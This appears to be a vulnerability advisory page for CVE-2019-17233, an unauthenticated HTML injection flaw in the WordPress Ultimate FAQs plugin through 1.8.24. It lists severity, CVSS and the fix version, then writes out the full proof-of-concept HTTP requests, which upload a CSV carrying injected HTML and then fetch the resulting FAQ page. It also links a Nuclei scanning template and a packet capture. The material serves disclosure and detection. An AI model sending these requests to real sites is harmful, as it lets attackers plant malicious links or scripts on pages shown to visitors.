| Title | WordPress Ultimate FAQs <= 1.8.24 – Unauthenticated HTML Content Injection |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject arbitrary HTML content through FAQ imports, potentially embedding malicious links or scripts that will be displayed to site visitors. |
| Remediation | Update the Ultimate FAQs plugin to version 1.8.25 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04204 |
| CVE ID | CVE-2019-17233 |
| Tags | cve cve2019 wordpress wp-plugin wp ultimate-faqs intrusive vkev vuln |
Functions/EWD_UFAQ_Import.php in the ultimate-faqs plugin through 1.8.24 for WordPress allows HTML content injection.
POST /wp-admin/admin.php?page=EWD-UFAQ-Options&DisplayPage=ImportPosts&Action=EWD_UFAQ_ImportFaqsFromSpreadsheet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Content-Length: 425
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary34ZHf69LbDjZlcL5
Accept-Encoding: gzip
------WebKitFormBoundary34ZHf69LbDjZlcL5
Content-Disposition: form-data; name="FAQs_Spreadsheet"; filename="CDGStjKY.csv"
Content-Type: application/csv
"Question","Answer","Categories","Tags","Post Date"
"38FXctYzzdkc7LzGQZzv9gE2kF5","<!-- wp:html --><a href='http://38FXctYzzdkc7LzGQZzv9gE2kF5'>38fxctyzzdkc7lzgqzzv9ge2kf5</a><!-- /wp:html -->","","","2025-09-17 17:16:33"
------WebKitFormBoundary34ZHf69LbDjZlcL5--
GET /?ufaq=38FXctYzzdkc7LzGQZzv9gE2kF5 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17233.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-17233.pcap
N/AN/A